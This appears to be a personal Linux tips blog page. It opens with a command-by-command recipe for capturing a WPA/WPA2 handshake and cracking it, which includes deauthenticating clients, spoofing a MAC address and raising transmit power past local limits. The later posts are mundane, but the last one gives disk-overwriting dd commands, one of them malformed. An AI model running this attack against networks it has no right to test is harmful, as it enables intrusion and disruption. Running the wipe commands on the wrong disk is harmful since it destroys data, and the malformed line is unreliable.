Showing posts with label linux. Show all posts
Showing posts with label linux. Show all posts

Wednesday, July 9, 2014

How to obtain a WPA / WPA2 Handshake (Alfa card) and brute it with oclHashCat

#Increase Wi-Fi TX Power
ifconfig wlan0 down

iw reg ser BO BZ
iwconfig wlan0 txpower 1000mW
ifconfig wlan0 up

#Start mon0 interface

airmon-ng check kill
airmon-ng start wlan0

#Change MAC
ifconfig mon0 down
macchanger -r mon0
ifconfig mon0 up

#List available AP
airodump mon0

#Dump handshake
airodump-ng -w <out.cap> --bssid <BSSID> -c <channel> mon0

#Deauthentication 
aireplay-ng  --deauth 5 -a <BSSID> -c <ClientMAC> wlan0
or
aireplay-ng --deauth 0 -a <BSSID> mon0

#Cracking WPA/WPA2 with oclHashcat
aircrack-ng <out.cap> -J <out.hccap>

Dictionary attack
./cudaHashcat64.bin -m 2500 <out.hccap> <dictionary.txt>
or Brute-Force
./cudaHashcat64.bin -m 2500 -a3 <out.hccap> ?d?d?d?d?d?d?d?d

Wednesday, May 7, 2014

Screen resolution and font size in text mode

vi /etc/defaults/grub
GRUB_GFXMODE=800x600
update-grub2

vi /etc/defaults/console-setup
FONTFACE="Terminus"
FONTSIZE="12x6"
/etc/init.d/console-setup restart

or 
dpkg-reconfigure console-setup

then
/etc/init.d/console-setup restart

Friday, September 20, 2013

Gedit encoding


sudo apt-get install dconf-editor
run dconf-editor
go to /org/gnome/gedit/preferences/encodings/

edit param "auto-detected" to ['UTF-8', 'CURRENT', 'WINDOWS-1251', 'ISO-8859-15', 'UTF-16']

Thursday, September 19, 2013

Encfs-manager


sudo add-apt-repository ppa:gencfsm/ppa
sudo apt-get update
sudo apt-get install gnome-encfs-manager

http://www.libertyzero.com/GEncfsM/
http://www.webupd8.org/2013/05/gnome-encfs-manager-cryptkeeper.html

Block Youtube cache servers


sudo iptables -A INPUT -s 173.194.55.0/24 -j REJECT
sudo iptables -A INPUT -s 206.111.0.0/16 -j REJECT

Generate an XKCD #936 style 4 word password

word=$(shuf -n4 /usr/share/dict/words); for w in ${word[@]}; do w=${w^}; w=${w//\'/}; p+=$w; done; echo $p

Monday, December 10, 2012

Zerofill partition


dd if=/dev/zero/ > /dev/hda
***
dd if=/dev/hda of=/dev/sda
pgrep dd
watch -n 10 kill -USR1 dd_proc_id
***
pv /dev/zero > /dev/hda